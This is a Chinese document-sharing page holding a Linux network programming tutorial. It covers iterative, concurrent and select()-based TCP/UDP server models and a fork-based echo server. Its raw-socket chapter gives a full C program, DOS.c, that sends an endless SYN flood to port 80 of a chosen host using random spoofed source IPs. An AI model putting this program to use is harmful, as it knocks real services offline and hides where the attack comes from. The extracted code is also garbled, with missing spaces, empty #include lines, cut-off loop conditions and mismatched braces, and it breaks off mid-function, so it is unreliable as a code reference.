Linux网络服务器模型.docx

上传人:b****8 文档编号:12155839 上传时间:2023-06-04 格式:DOCX 页数:13 大小:20.34KB
下载 相关 举报
Linux网络服务器模型.docx_第1页
第1页 / 共13页
Linux网络服务器模型.docx_第2页
第2页 / 共13页
Linux网络服务器模型.docx_第3页
第3页 / 共13页
Linux网络服务器模型.docx_第4页
第4页 / 共13页
Linux网络服务器模型.docx_第5页
第5页 / 共13页
Linux网络服务器模型.docx_第6页
第6页 / 共13页
Linux网络服务器模型.docx_第7页
第7页 / 共13页
Linux网络服务器模型.docx_第8页
第8页 / 共13页
Linux网络服务器模型.docx_第9页
第9页 / 共13页
Linux网络服务器模型.docx_第10页
第10页 / 共13页
Linux网络服务器模型.docx_第11页
第11页 / 共13页
Linux网络服务器模型.docx_第12页
第12页 / 共13页
Linux网络服务器模型.docx_第13页
第13页 / 共13页
亲,该文档总共13页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

Linux网络服务器模型.docx

《Linux网络服务器模型.docx》由会员分享,可在线阅读,更多相关《Linux网络服务器模型.docx(13页珍藏版)》请在冰点文库上搜索。

Linux网络服务器模型.docx

Linux网络服务器模型

服务器模型

<一>循环服务器:

循环服务器在同一个时刻只可以响应一个客户端的请求 

<二>并发服务器:

并发服务器在同一个时刻可以响应多个客户端的请求 

1.介绍

Linux网络循环服务器是指逐个处理客户端的连接,处理完一个连接后再处理下一个连接,是一个串行处理的方式,比较适合时间服务器,DHCP服务器.对于TCP服务器来说,主要阻塞在accept函数,等待客户端的连接。

而对于UDP服务器来说,主要阻塞在recv函数.

2.循环服务器模型

TCP循环服务器:

算法如下:

 

       socket(...);

        bind(...);

        listen(...);

        while

(1)

        {

                accept(...);

               read(...);

               process(...);

               write(...);

               close(...);//关闭客户端连接

             

      }

    close(....);//关闭服务器连接

UDP循环服务器:

 算法如下:

 

  socket(...)

  bind(....);

 while

(1){

 recvfrom(....);

 process(...);

 sendto(....);

 close(....);//关闭客户端连接

 }

 close(....);//关闭服务器连接

从上面的流程可以看出,TCP循环服务器在accept处阻塞一直等待客户端的到来,而UDP循环服务器在recv处阻塞,等待客户端发送数据.

1 循环服务器:

UDP服务器 

    UDP循环服务器的实现非常简单:

UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机. 

可以用下面的算法来实现. 

  socket(...);

  bind(...);

  while

(1)

  {

      recvfrom(...);

      process(...);

      sendto(...);

  }

因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足. 

2 循环服务器:

TCP服务器 

TCP循环服务器的实现也不难:

TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接. 

算法如下:

 

      socket(...);

      bind(...);

      listen(...);

      while

(1)

      {

          accept(...);

          while

(1)

          {

                read(...);

                process(...);

                write(...);

          }

          close(...);

      }

TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.

这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的. 

9.3 并发服务器:

TCP服务器 

     为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器

直接处理,而是服务器创建一个 子进程来处理. 

算法如下:

 

  socket(...);

  bind(...);

  listen(...);

  while

(1)

  {

      accept(...);

      if(fork(..)==0)

      {

          while

(1)

          {      

          read(...);

          process(...);

          write(...);

          }

        close(...);

        exit(...);

      }

      close(...);

  }    

TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,

服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作. 

9.4 并发服务器:

多路复用I/O 

为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型. 

首先介绍一个函数select 

intselect(intnfds,fd_set*readfds,fd_set*writefds,

          fd_set*exceptfds,structtimeval*timeout)

voidFD_SET(intfd,fd_set*fdset)

voidFD_CLR(intfd,fd_set*fdset)

voidFD_ZERO(fd_set*fdset)

intFD_ISSET(intfd,fd_set*fdset)

一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读 (通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件可以读写的时候select回"通知"我们 说可以读写了.readfds所有要读的文件文件描述符的集合 

writefds所有要的写文件文件描述符的集合 

exceptfds其他的服要向我们通知的文件描述符 

timeout超时设置. 

nfds所有我们监控的文件描述符中最大的那一个加1 

在我们调用select时进程会一直阻塞直到以下的一种情况发生.1)有文件可以读.2)有文件可以写.3)超时所设置的时间到. 

为了设置文件描述符我们要使用几个宏.FD_SET将fd加入到fdset 

FD_CLR将fd从fdset里面清除 

FD_ZERO从fdset中清除所有的文件描述符 

FD_ISSET判断fd是否在fdset集合中 

使用select的一个例子 

intuse_select(int*readfd,intn)

{

  fd_setmy_readfd;

  intmaxfd;

  inti;

  

  maxfd=readfd[0];

  for(i=1;i

  if(readfd[i]>maxfd)maxfd=readfd[i];

  while

(1)

  {

      /*  将所有的文件描述符加入  */

      FD_ZERO(&my_readfd);

      for(i=0;i

        FD_SET(readfd[i],*my_readfd);

      /*    进程阻塞            */

      select(maxfd+1,&my_readfd,NULL,NULL,NULL); 

      /*      有东西可以读了    */

      for(i=0;i

      if(FD_ISSET(readfd[i],&my_readfd))

          {

            /* 原来是我可以读了  */ 

                we_read(readfd[i]);

          }

  }

}

使用select后我们的服务器程序就变成了. 

      初始话(socket,bind,listen);

      

  while

(1)

      {

      设置监听读写文件描述符(FD_*);  

      

      调用select;

      

      如果是倾听套接字就绪,说明一个新的连接请求建立

        { 

           建立连接(accept);

           加入到监听文件描述符中去;

        }

     否则说明是一个已经连接过的描述符

          {

              进行操作(read或者write);

            }

                

      }          

多路复用I/O可以解决资源限制的问题.这模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.

如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久. 

9.5 并发服务器:

UDP服务器 

人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建

一个子进程来处理的 算法和并发的TCP模型一样. 

除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型. 

9.6 一个并发TCP服务器实例 

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#defineMY_PORT      8888

intmain(intargc,char**argv)

{

intlisten_fd,accept_fd;

structsockaddr_in    client_addr;

intn;

if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)

  {

      printf("SocketError:

%s/n/a",strerror(errno));

      exit

(1);

  }

bzero(&client_addr,sizeof(structsockaddr_in));

client_addr.sin_family=AF_INET;

client_addr.sin_port=htons(MY_PORT);

client_addr.sin_addr.s_addr=htonl(INADDR_ANY);

n=1;

/* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间  */

setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));

if(bind(listen_fd,(structsockaddr*)&client_addr,sizeof(client_addr))<0)

  {

      printf("BindError:

%s/n/a",strerror(errno));

      exit

(1);

  }

  listen(listen_fd,5);

  while

(1)

  {

  accept_fd=accept(listen_fd,NULL,NULL);

  if((accept_fd<0)&&(errno==EINTR))

      continue;

  elseif(accept_fd<0)

  {

      printf("AcceptError:

%s/n/a",strerror(errno));

      continue;

  }

  if((n=fork())==0)

  {

      /* 子进程处理客户端的连接 */

      charbuffer[1024];

      close(listen_fd);

      n=read(accept_fd,buffer,1024);

      write(accept_fd,buffer,n);

      close(accept_fd);

      exit(0);

  }

  elseif(n<0)

      printf("ForkError:

%s/n/a",strerror(errno));

  close(accept_fd);

  }

你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试

(十)Linux网络编程--10.原始套接字

 我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外

一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 

注意原始套接字只能够由有 root权限的人创建. 

10.1 原始套接字的创建 

intsockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:

IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.

详细的情况查看 socket的man手册 下面我们以一个实例来说明原始套接字的创建和使用 

10.2 一个原始套接字的实例 

还记得DOS是什么意思吗?

在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码 

/********************  DOS.c          *****************/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#defineDESTPORT      80    /* 要攻击的端口(WEB)    */

#defineLOCALPORT    8888

voidsend_tcp(intsockfd,structsockaddr_in*addr);

unsignedshortcheck_sum(unsignedshort*addr,intlen);

intmain(intargc,char**argv)

{

intsockfd;

structsockaddr_inaddr;

structhostent*host;

inton=1;

if(argc!

=2)

{

      fprintf(stderr,"Usage:

%shostname/n/a",argv[0]);

      exit

(1);

}

bzero(&addr,sizeof(structsockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)

{

      host=gethostbyname(argv[1]);

      if(host==NULL)

      {

          fprintf(stderr,"HostNameError:

%s/n/a",hstrerror(h_errno));

          exit

(1);

      }

      addr.sin_addr=*(structin_addr*)(host->h_addr_list[0]);

}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字  ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

      fprintf(stderr,"SocketError:

%s/n/a",strerror(errno));

      exit

(1);

}

/********  设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写  ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****  没有办法,只用超级护用户才可以使用原始套接字  *********/

setuid(getpid());

/*********  发送炸弹了!

!

!

!

      ****/

send_tcp(sockfd,&addr);

/*******  发送炸弹的实现  *********/

voidsend_tcp(intsockfd,structsockaddr_in*addr)

{

charbuffer[100];  /**** 用来放置我们的数据包  ****/

structip*ip;

structtcphdr*tcp;

inthead_len;

/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度  ***/

head_len=sizeof(structip)+sizeof(structtcphdr);

bzero(buffer,100);

/********  填充IP数据包的头部,还记得IP的头格式吗?

    ******/ 

ip=(structip*)buffer;

ip->ip_v=IPVERSION;        /** 版本一般的是 4    **/

ip->ip_hl=sizeof(structip)>>2;/**IP数据包的头部长度  **/

ip->ip_tos=0;            /** 服务类型        **/

ip->ip_len=htons(head_len);    /**IP数据包的长度    **/

ip->ip_id=0;              /** 让系统去填写吧    **/

ip->ip_off=0;            /** 和上面一样,省点时间 **/      

ip->ip_ttl=MAXTTL;          /** 最长的时间  255  **/

ip->ip_p=IPPROTO_TCP;        /** 我们要发的是 TCP包  **/ 

ip->ip_sum=0;            /** 校验和让系统去做  **/

ip->ip_dst=addr->sin_addr;    /** 我们攻击的对象    **/

/*******  开始填写TCP数据包                  *****/

tcp=(structtcphdr*)(buffer+sizeof(structip));

tcp->source=htons(LOCALPORT);

tcp->dest=addr->sin_port;        /** 目的端口  **/

tcp->seq=random();

tcp->ack_seq=0;

tcp->doff=5;

tcp->syn=1;                /** 我要建立连接 **/

tcp->check=0;

/** 好了,一切都准备好了.服务器,你准备好了没有?

?

^_^  **/

while

(1)

  {

/**  你不知道我是从那里来的,慢慢的去等吧!

    **/

  ip->ip_src.s_addr=random();    

/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */

/**        下面这条可有可无  */

  tcp->check=check_sum((unsignedshort*)tcp,

          sizeof(structtcphdr)); 

  sendto(sockfd,buffer,head_len,0,addr,sizeof(structsockaddr_in));

  }

}

/* 下面是首部校验和的算法,偷了别人的 */

unsignedshortcheck_sum(unsignedshort*addr,intlen)

{

registerintnleft=len;

registerintsum=0;

registershort*w=addr;

  shortanswer=0;

while(nleft>1)

{

  sum+=*w++;

  nleft-=2;

}

if(nleft==1)

{

  *(unsignedchar*)(&answer)=*(unsignedchar*)w;

  sum+=answer;

}

  

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 农林牧渔

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2